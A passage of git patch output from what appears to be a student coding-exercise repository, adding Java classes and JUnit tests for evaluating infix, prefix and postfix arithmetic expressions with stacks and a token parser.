+    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
+    	}
+    	Assert.assertEquals(expected, acctual);
+    }
 
-}
\ No newline at end of file
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_06/expr/InfixToPostfix.java b/group06/1454385822/src/com/coding/basic/homework_06/expr/InfixToPostfix.java
new file mode 100644
index 0000000000..387f0001f7
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_06/expr/InfixToPostfix.java
@@ -0,0 +1,33 @@
+package com.coding.basic.homework_06.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+public class InfixToPostfix {
+	
+	public static List<Token> convert(String expr) {
+		List<Token> infixToken = new TokenParser().parse(expr);
+		List<Token> posToken = new ArrayList<Token>();
+		Stack<Token> stack = new Stack<Token>();
+		
+		for (Token token : infixToken) {
+			if(token.isOperator()){
+				while(!stack.empty() && !token.hasHigherPriority(stack.peek())){
+					posToken.add(stack.pop());
+				}
+				stack.push(token);
+			}
+			if(token.isNumber()){
+				posToken.add(token);
+			}
+		}
+		while(!stack.isEmpty()){
+			posToken.add(stack.pop());
+		}
+		
+		return posToken;
+	}
+	
+
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_06/expr/InfixToPostfixTest.java b/group06/1454385822/src/com/coding/basic/homework_06/expr/InfixToPostfixTest.java
new file mode 100644
index 0000000000..b3a7661a20
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_06/expr/InfixToPostfixTest.java
@@ -0,0 +1,39 @@
+package com.coding.basic.homework_06.expr;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class InfixToPostfixTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testConvert() {
+		{
+			List<Token> tokens = InfixToPostfix.convert("2+3");
+			Assert.assertEquals("[2, 3, +]", tokens.toString());
+		}
+		{
+		
+			List<Token> tokens = InfixToPostfix.convert("2+3*4");
+			Assert.assertEquals("[2, 3, 4, *, +]", tokens.toString());
+		}
+		
+		{
+			
+			List<Token> tokens = InfixToPostfix.convert("2-3*4+5");
+			Assert.assertEquals("[2, 3, 4, *, -, 5, +]", tokens.toString());
+		}
+	}
+
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_06/expr/PostfixExpr.java b/group06/1454385822/src/com/coding/basic/homework_06/expr/PostfixExpr.java
new file mode 100644
index 0000000000..9e20e78e99
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_06/expr/PostfixExpr.java
@@ -0,0 +1,46 @@
+package com.coding.basic.homework_06.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PostfixExpr {
+	String expr = null;
+	
+	public PostfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(expr);
+		Stack<Float> numStack = new Stack<Float>();
+		
+		for(int i=0; i < tokens.size(); i++){
+			if(tokens.get(i).isOperator()){
+				float f1 = numStack.pop();
+				float f2 = numStack.pop();
+				numStack.push(getResult(f1, f2, tokens.get(i).value));
+			}else
+			if(tokens.get(i).isNumber()){
+				numStack.push(Float.valueOf(tokens.get(i).getIntValue()));
+			}
+		}
+		return numStack.pop();
+	}
+	
+	private float getResult(float float1, float float2, String operator){
+		if(operator.equals("+")){
+			return float1 + float2;
+		}else if(operator.equals("-")){
+			return float2 - float1;
+		}else if(operator.equals("*")){
+			return float1 * float2;
+		}else if(operator.equals("/")){
+			return float2 / float1;
+		}else{
+			throw new RuntimeException(operator + " is not supported");
+		}
+	}
+	
+	
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_06/expr/PostfixExprTest.java b/group06/1454385822/src/com/coding/basic/homework_06/expr/PostfixExprTest.java
new file mode 100644
index 0000000000..453349b6d8
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_06/expr/PostfixExprTest.java
@@ -0,0 +1,37 @@
+package com.coding.basic.homework_06.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class PostfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_06/expr/PrefixExpr.java b/group06/1454385822/src/com/coding/basic/homework_06/expr/PrefixExpr.java
new file mode 100644
index 0000000000..bafc6db694
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_06/expr/PrefixExpr.java
@@ -0,0 +1,45 @@
+package com.coding.basic.homework_06.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+
+public class PrefixExpr {
+	String expr = null;
+	
+	public PrefixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(expr);
+		Stack<Float> numStack = new Stack<Float>();
+		
+		for(int i=tokens.size()-1; i>=0; i--){
+			if(tokens.get(i).isOperator()){
+				float f1 = numStack.pop();
+				float f2 = numStack.pop();
+				numStack.push(getResult(f2, f1, tokens.get(i).value));
+			}else
+			if(tokens.get(i).isNumber()){
+				numStack.push(Float.valueOf(tokens.get(i).getIntValue()));
+			}
+		}
+		return numStack.pop();
+	}
+	
+	private float getResult(float float1, float float2, String operator){
+		if(operator.equals("+")){
+			return float1 + float2;
+		}else if(operator.equals("-")){
+			return float2 - float1;
+		}else if(operator.equals("*")){
+			return float1 * float2;
+		}else if(operator.equals("/")){
+			return float2 / float1;
+		}else{
+			throw new RuntimeException(operator + " is not supported");
+		}
+	}
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_06/expr/PrefixExprTest.java b/group06/1454385822/src/com/coding/basic/homework_06/expr/PrefixExprTest.java
new file mode 100644
index 0000000000..54afaf1e6e
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_06/expr/PrefixExprTest.java
@@ -0,0 +1,44 @@
+package com.coding.basic.homework_06.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class PrefixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 2*3+4*5 
+			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+			Assert.assertEquals(26, expr.evaluate(),0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(),0.001f);
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(),0.001f);
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16, expr.evaluate(),0.001f);
+		}
+		
+		
+	}
+
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_06/expr/TokenParser.java b/group06/1454385822/src/com/coding/basic/homework_06/expr/TokenParser.java
index f158fdd933..5447f608bc 100644
--- a/group06/1454385822/src/com/coding/basic/homework_06/expr/TokenParser.java
+++ b/group06/1454385822/src/com/coding/basic/homework_06/expr/TokenParser.java
@@ -15,11 +15,18 @@ public List<Token> parse(String expr){
 				tokens.add(t);
 				i++;
 			} else if(Character.isDigit(c)){
-				int nextOperatorIndex = indexOfNextOperator(i, expr);
-				String value = expr.substring(i, nextOperatorIndex);	
+				int nextOperatorIndex = indexOfNextOperatorSpace(i, expr);
+				if(nextOperatorIndex == i){
+					nextOperatorIndex = i + 1;
+				}
+				String value = expr.substring(i, nextOperatorIndex);
+				System.out.println(value);
 				Token token = new Token(Token.NUMBER, value);
 				tokens.add(token);
 				i = nextOperatorIndex;
+			}else if(Character.isSpaceChar(c)){
+				i++;
+				continue;
 			}else{
 				System.out.println("char :["+c+"] is not number or operator,ignore");
 				i++;
@@ -28,7 +35,8 @@ public List<Token> parse(String expr){
 		return tokens;
 	}
 	
-	private int indexOfNextOperator (int i, String expr){
+	
+	private int indexOfNextOperatorSpace (int i, String expr){
 		while(Character.isDigit(expr.charAt(i))){
 			i++;
 			if (i == expr.length()) {

From 50027e2327d849e9e5209f8897bda5a15e341f78 Mon Sep 17 00:00:00 2001
From: anxinJ <1028361767@qq.com>
Date: Tue, 25 Apr 2017 21:40:16 +0800
Subject: [PATCH 123/262] =?UTF-8?q?=EF=BC=88=E8=A1=A5=EF=BC=89=E5=89=8D?=
 =?UTF-8?q?=E5=BA=8F=E3=80=81=E5=90=8E=E5=BA=8F=E3=80=81=E4=B8=AD=E5=BA=8F?=
 =?UTF-8?q?=E8=BD=AC=E5=90=8E=E5=BA=8F?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

（补）前序、后序、中序转后序
---
 .../coding/basic/stack/expr/InfixExpr.java    | 138 +++++++++++++-----
 .../basic/stack/expr/InfixToPostfix.java      |  44 ++++++
 .../coding/basic/stack/expr/PostfixExpr.java  |  62 ++++++++
 .../basic/stack/expr/PostfixExprTest.java     |  42 ++++++
 .../coding/basic/stack/expr/PrefixExpr.java   |  85 +++++++++++
 .../basic/stack/expr/PrefixExprTest.java      |  45 ++++++
 .../com/coding/basic/stack/expr/Token.java    |  50 +++++++
 .../coding/basic/stack/expr/TokenParser.java  |  64 ++++++++
 .../basic/stack/expr/TokenParserTest.java     |  41 ++++++
 9 files changed, 531 insertions(+), 40 deletions(-)
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixToPostfix.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PostfixExpr.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PostfixExprTest.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PrefixExpr.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PrefixExprTest.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/stack/expr/Token.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/stack/expr/TokenParser.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/stack/expr/TokenParserTest.java

diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixExpr.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixExpr.java
index 5b91a03a95..eac007bb3e 100644
--- a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixExpr.java
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixExpr.java
@@ -1,6 +1,7 @@
 package com.coding.basic.stack.expr;
 
-import com.coding.basic.stack.Stack;
+import java.util.List;
+import java.util.Stack;
 
 public class InfixExpr {
 	String expr = null;
@@ -10,50 +11,92 @@ public InfixExpr(String expr) {
 	}
 
 	public float evaluate() {
-		if(expr == null || "".equals(expr)){
-			return 0;
-		}
-		Stack numStack = new Stack();
-		Stack opStack = new Stack();
-		String[] ss = expr.split("");
-		boolean needOper = false;// 需要运算，遇到* / 后置为true
-		boolean foundOper = true;// 遇到运算符
-		String ops = "+-*/";
-		for (int i=0;i<ss.length;i++) {
-			String s = ss[i];
-			if(ops.indexOf(s) != -1){
-				if(needOper){
-					doMulOrDivOp(numStack, (String)opStack.pop());
-					needOper = false;
-				}
-				opStack.push(s);
-				foundOper = true;
-				if("+-".indexOf(s) != -1){
+//		if(expr == null || "".equals(expr)){
+//			return 0;
+//		}
+//		Stack numStack = new Stack();
+//		Stack opStack = new Stack();
+//		String[] ss = expr.split("");
+//		boolean needOper = false;// 需要运算，遇到* / 后置为true
+//		boolean foundOper = true;// 遇到运算符
+//		String ops = "+-*/";
+//		for (int i=0;i<ss.length;i++) {
+//			String s = ss[i];
+//			if(ops.indexOf(s) != -1){
+//				if(needOper){
+//					doMulOrDivOp(numStack, (String)opStack.pop());
+//					needOper = false;
+//				}
+//				opStack.push(s);
+//				foundOper = true;
+//				if("+-".indexOf(s) != -1){
+//					
+//				}else{
+//					needOper = true;
+//				}
+//			}else if(!foundOper){// 未找到运算符前，字符串一直追加
+//				String tmp = "";
+//				Object obj = numStack.pop();
+//				if(obj != null){
+//					tmp = (String)obj;
+//				}
+//				numStack.push(tmp + s);
+//			}else if("1234567890".indexOf(s) != -1){
+//				numStack.push(s);
+//				foundOper = false;
+//			}else{
+//				throw new RuntimeException("InfixExpr not support " + s + " !");
+//			}
+//			if((i == ss.length - 1) && needOper){
+//				doMulOrDivOp(numStack, (String)opStack.pop());
+//			}
+//		}
+//		if(numStack.size() > 1){
+//			doAddOrSubOps(numStack, opStack);
+//		}
+//		return new Float((String)numStack.pop());
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(this.expr);
+		
+		
+		Stack<Token> opStack = new Stack<>();
+		Stack<Float> numStack = new Stack<>();
+		
+		for(Token token : tokens){
+			
+			if (token.isOperator()){
+				
+				if(opStack.isEmpty()){
 					
-				}else{
-					needOper = true;
-				}
-			}else if(!foundOper){// 未找到运算符前，字符串一直追加
-				String tmp = "";
-				Object obj = numStack.pop();
-				if(obj != null){
-					tmp = (String)obj;
+					opStack.push(token);
+				} else{
+					
+					while(!opStack.isEmpty() 
+							&& !token.hasHigherPriority(opStack.peek())){
+						Token prevOperator = opStack.pop();
+						Float f2 = numStack.pop();
+						Float f1 = numStack.pop();
+						Float result = calculate(prevOperator.toString(), f1,f2);
+						numStack.push(result);						
+						
+					}
+					opStack.push(token);
 				}
-				numStack.push(tmp + s);
-			}else if("1234567890".indexOf(s) != -1){
-				numStack.push(s);
-				foundOper = false;
-			}else{
-				throw new RuntimeException("InfixExpr not support " + s + " !");
-			}
-			if((i == ss.length - 1) && needOper){
-				doMulOrDivOp(numStack, (String)opStack.pop());
+			} 
+			if(token.isNumber()){
+				numStack.push(new Float(token.getIntValue()));
 			}
 		}
-		if(numStack.size() > 1){
-			doAddOrSubOps(numStack, opStack);
+		
+		while(!opStack.isEmpty()){
+			Token token = opStack.pop();
+			Float f2 = numStack.pop();
+			Float f1 = numStack.pop();
+			numStack.push(calculate(token.toString(), f1,f2));
 		}
-		return new Float((String)numStack.pop());
+		
+		
+		return numStack.pop().floatValue();
 	}
 	
 	/**
@@ -98,4 +141,19 @@ private void doMulOrDivOp(Stack numStack, String op){
 		numStack.push(result);
 	}
 	
+	private Float calculate(String op, Float f1, Float f2){
+		if(op.equals("+")){
+			return f1+f2;
+		}
+		if(op.equals("-")){
+			return f1-f2;
+		}
+		if(op.equals("*")){
+			return f1*f2;
+		}
+		if(op.equals("/")){
+			return f1/f2;
+		}
+		throw new RuntimeException(op + " is not supported");
+	}
 }
\ No newline at end of file
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixToPostfix.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixToPostfix.java
new file mode 100644
index 0000000000..a518e43c13
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixToPostfix.java
@@ -0,0 +1,44 @@
+package com.coding.basic.stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+public class InfixToPostfix {
+	
+	public static List<Token> convert(String expr) {
+		// 3*20+12*5-40/2 --> 3 20 * 12 5 * + 40 2 / -
+		// 10-30+50       --> 10 30 - 50 +
+		List<Token> ret = new ArrayList<>();
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(expr);
+		Stack<Token> opStack = new Stack<>();
+		for(Token token : tokens){
+			if(token.isNumber()){
+				ret.add(token);
+			}else{
+				while(!opStack.isEmpty() && opStack.peek().hasHigherPriority(token)){
+					ret.add(opStack.pop());
+				}
+				opStack.push(token);
+			}
+		}
+		while(!opStack.isEmpty()){
+			ret.add(opStack.pop());
+		}
+		return ret;
+	}
+	
+	public static String toString(List<Token> tokens){
+		StringBuilder sb = new StringBuilder();
+		for(Token token : tokens){
+			sb.append(token.value);
+		}
+		return sb.toString();
+	}
+	
+	public static void main(String[] args) {
+		System.out.println(toString(convert("10-30+50")));
+		System.out.println(toString(convert("3*20+12*5-40/2")));
+	}
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PostfixExpr.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PostfixExpr.java
new file mode 100644
index 0000000000..d4af19f583
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PostfixExpr.java
@@ -0,0 +1,62 @@
+package com.coding.basic.stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PostfixExpr {
+String expr = null;
+	
+	public PostfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		Stack<Float> numStack = new Stack<>();
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(expr); 
+		for(Token token : tokens) {
+			if(token.isNumber()){
+				numStack.push(new Float(token.getIntValue()));
+			}else{
+				String op = token.value;
+				float num2 = numStack.pop();
+				float num1 = numStack.pop();
+				float result = calculate(op, num1, num2);
+				numStack.push(result);
+			}
+		}
+		return numStack.pop();
+	}
+	
+	private Float calculate(String op, Float f1, Float f2){
+		if(op.equals("+")){
+			return f1+f2;
+		}
+		if(op.equals("-")){
+			return f1-f2;
+		}
+		if(op.equals("*")){
+			return f1*f2;
+		}
+		if(op.equals("/")){
+			return f1/f2;
+		}
+		throw new RuntimeException(op + " is not supported");
+	}
+	
+	private void reverse(Stack s){
+		Stack tmp = new Stack();
+		int len = s.size();
+		for(int i=0;i<len;i++){
+			Object top = s.pop();
+			while(s.size() > i) {
+				tmp.push(s.pop());
+			}
+			s.push(top);
+			while(tmp.size() > 0){
+				s.push(tmp.pop());
+			}
+		}
+	}
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PostfixExprTest.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PostfixExprTest.java
new file mode 100644
index 0000000000..ad2b6dfd69
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PostfixExprTest.java
@@ -0,0 +1,42 @@
+package com.coding.basic.stack.expr;
+
+
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class PostfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 6*(3+5+(2+3)*8)
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PrefixExpr.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PrefixExpr.java
new file mode 100644
index 0000000000..b5264d1362
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PrefixExpr.java
@@ -0,0 +1,85 @@
+package com.coding.basic.stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PrefixExpr {
+	String expr = null;
+	
+	public PrefixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(this.expr);
+		Stack<Token> opStack = new Stack<>();
+		Stack<Float> numStack = new Stack<>();
+		int preContinueOp = 0;
+		int preContinueNum = 0;
+		for(Token token : tokens){
+			if(token.isOperator()) {
+				opStack.push(token);
+				if(preContinueNum > 0){
+					preContinueNum = 0;
+					preContinueOp = 1;
+				}else{
+					preContinueOp++;
+				}
+			}else{
+				numStack.push(new Float(token.getIntValue()));
+				preContinueNum++;
+			}
+			if(preContinueNum >= 2 && preContinueOp > 0){
+				float num2 = numStack.pop();
+				float num1 = numStack.pop();
+				float result = calculate(opStack.pop().value, num1, num2);
+				numStack.push(result);
+				preContinueNum--;
+				preContinueOp--;
+			}
+		}
+		if(!opStack.isEmpty()){
+			reverse(numStack);
+		}
+		while(!opStack.isEmpty()) {
+			String op = opStack.pop().value;
+			float num1 = numStack.pop();
+			float num2 = numStack.pop();
+			float result = calculate(op, num1, num2);
+			numStack.push(result);
+		}
+		return numStack.pop();
+	}
+
+	private Float calculate(String op, Float f1, Float f2){
+		if(op.equals("+")){
+			return f1+f2;
+		}
+		if(op.equals("-")){
+			return f1-f2;
+		}
+		if(op.equals("*")){
+			return f1*f2;
+		}
+		if(op.equals("/")){
+			return f1/f2;
+		}
+		throw new RuntimeException(op + " is not supported");
+	}
+	
+	private void reverse(Stack s){
+		Stack tmp = new Stack();
+		int len = s.size();
+		for(int i=0;i<len;i++){
+			Object top = s.pop();
+			while(s.size() > i) {
+				tmp.push(s.pop());
+			}
+			s.push(top);
+			while(tmp.size() > 0){
+				s.push(tmp.pop());
+			}
+		}
+	}
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PrefixExprTest.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PrefixExprTest.java
new file mode 100644
index 0000000000..5cec210e75
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PrefixExprTest.java
@@ -0,0 +1,45 @@
+package com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class PrefixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 2*3+4*5 
+			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+			Assert.assertEquals(26, expr.evaluate(),0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(),0.001f);
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(),0.001f);
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16, expr.evaluate(),0.001f);
+		}
+		
+		
+	}
+
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/Token.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/Token.java
new file mode 100644
index 0000000000..8579743fe9
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/Token.java
@@ -0,0 +1,50 @@
+package com.coding.basic.stack.expr;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+class Token {
+	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+	private static final Map<String,Integer> priorities = new HashMap<>();
+	static {
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}
+	static final int OPERATOR = 1;
+	static final int NUMBER = 2;
+	String value;
+	int type;
+	public Token(int type, String value){
+		this.type = type;
+		this.value = value;
+	}		
+
+	public boolean isNumber() {
+		return type == NUMBER;
+	}
+
+	public boolean isOperator() {
+		return type == OPERATOR;
+	}
+
+	public int getIntValue() {
+		return Integer.valueOf(value).intValue();
+	}
+	public String toString(){
+		return value;
+	}
+	
+	public boolean hasHigherPriority(Token t){
+		if(!this.isOperator() && !t.isOperator()){
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priorities.get(this.value) - priorities.get(t.value) > 0;
+	}
+	
+	
+
+}
\ No newline at end of file
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/TokenParser.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/TokenParser.java
new file mode 100644
index 0000000000..bf62a9df26
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/TokenParser.java
@@ -0,0 +1,64 @@
+package com.coding.basic.stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class TokenParser {
+	
+	
+	public  List<Token> parse(String expr) {
+		List<Token> tokens = new ArrayList<>();
+
+		int i = 0;
+
+		while (i < expr.length()) {
+
+			char c = expr.charAt(i);
+			if(isBlank(c)){
+				i++;
+				continue;
+			}
+			else if (isOperator(c)) {
+
+				Token t = new Token(Token.OPERATOR, String.valueOf(c));
+				tokens.add(t);
+				i++;
+
+			} else if (Character.isDigit(c)) {
+
+				int nextOperatorIndex = indexOfNextOperator(i, expr);
+				String value = expr.substring(i, nextOperatorIndex);
+				Token t = new Token(Token.NUMBER, value);
+				tokens.add(t);
+				i = nextOperatorIndex;
+
+			} else{
+				System.out.println("char :["+c+"] is not number or operator,ignore");
+				i++;
+			}
+
+		}
+		return tokens;
+	}
+
+	private  int indexOfNextOperator(int i, String expr) {
+
+		while (Character.isDigit(expr.charAt(i))) {
+			i++;
+			if (i == expr.length()) {
+				break;
+			}
+		}
+		return i;
+
+	}
+
+	private  boolean isOperator(char c) {
+		String sc = String.valueOf(c);
+		return Token.OPERATORS.contains(sc);
+	}
+	
+	private boolean isBlank(char c){
+		return c == 32;
+	}
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/TokenParserTest.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/TokenParserTest.java
new file mode 100644
index 0000000000..399d3e857e
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/TokenParserTest.java
@@ -0,0 +1,41 @@
+package com.coding.basic.stack.expr;
+
+import static org.junit.Assert.*;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class TokenParserTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
+		
+		Assert.assertEquals(300, tokens.get(0).getIntValue());
+		Assert.assertEquals("*", tokens.get(1).toString());
+		Assert.assertEquals(20, tokens.get(2).getIntValue());
+		Assert.assertEquals("+", tokens.get(3).toString());
+		Assert.assertEquals(12, tokens.get(4).getIntValue());
+		Assert.assertEquals("*", tokens.get(5).toString());
+		Assert.assertEquals(5, tokens.get(6).getIntValue());
+		Assert.assertEquals("-", tokens.get(7).toString());
+		Assert.assertEquals(20, tokens.get(8).getIntValue());
+		Assert.assertEquals("/", tokens.get(9).toString());
+		Assert.assertEquals(4, tokens.get(10).getIntValue());
+	}
+
+}

From 0a589eb18fca8fba922456bfe7099ffacf182c27 Mon Sep 17 00:00:00 2001
From: anxinJ <1028361767@qq.com>
Date: Tue, 25 Apr 2017 22:40:21 +0800
Subject: [PATCH 124/262] =?UTF-8?q?=EF=BC=88=E8=A1=A5=EF=BC=89javap?=
 =?UTF-8?q?=EF=BC=88=E5=88=B0=E5=B8=B8=E9=87=8F=E6=B1=A0=EF=BC=89?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

（补）javap（到常量池）
---
 .../leetcode/algorithms/OptimalDivision.java  | 76 +++++++++++++++++++
 .../algorithms/StudentAttendanceRecord1.java  | 46 +++++++++++
 .../src/me/practise/chapter2.java             | 27 +++++++
 .../coderising/jvm/constant/ClassInfo.java    |  4 +
 .../coderising/jvm/constant/ConstantInfo.java | 12 +++
 .../coderising/jvm/constant/ConstantPool.java |  2 +-
 .../coderising/jvm/constant/FieldRefInfo.java |  4 +
 .../jvm/constant/MethodRefInfo.java           |  5 ++
 .../jvm/constant/NameAndTypeInfo.java         |  5 ++
 .../jvm/constant/NullConstantInfo.java        |  4 +
 .../coderising/jvm/constant/StringInfo.java   |  5 ++
 .../com/coderising/jvm/constant/UTF8Info.java |  4 +
 .../jvm/print/ClassFilePrinter.java           |  2 +-
 .../jvm/print/ConstantPoolPrinter.java        | 56 +++++++++++++-
 14 files changed, 248 insertions(+), 4 deletions(-)
 create mode 100644 group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/OptimalDivision.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/StudentAttendanceRecord1.java
 create mode 100644 group23/1028361767/java8-function-coding/src/me/practise/chapter2.java

diff --git a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/OptimalDivision.java b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/OptimalDivision.java
new file mode 100644
index 0000000000..8821941630
--- /dev/null
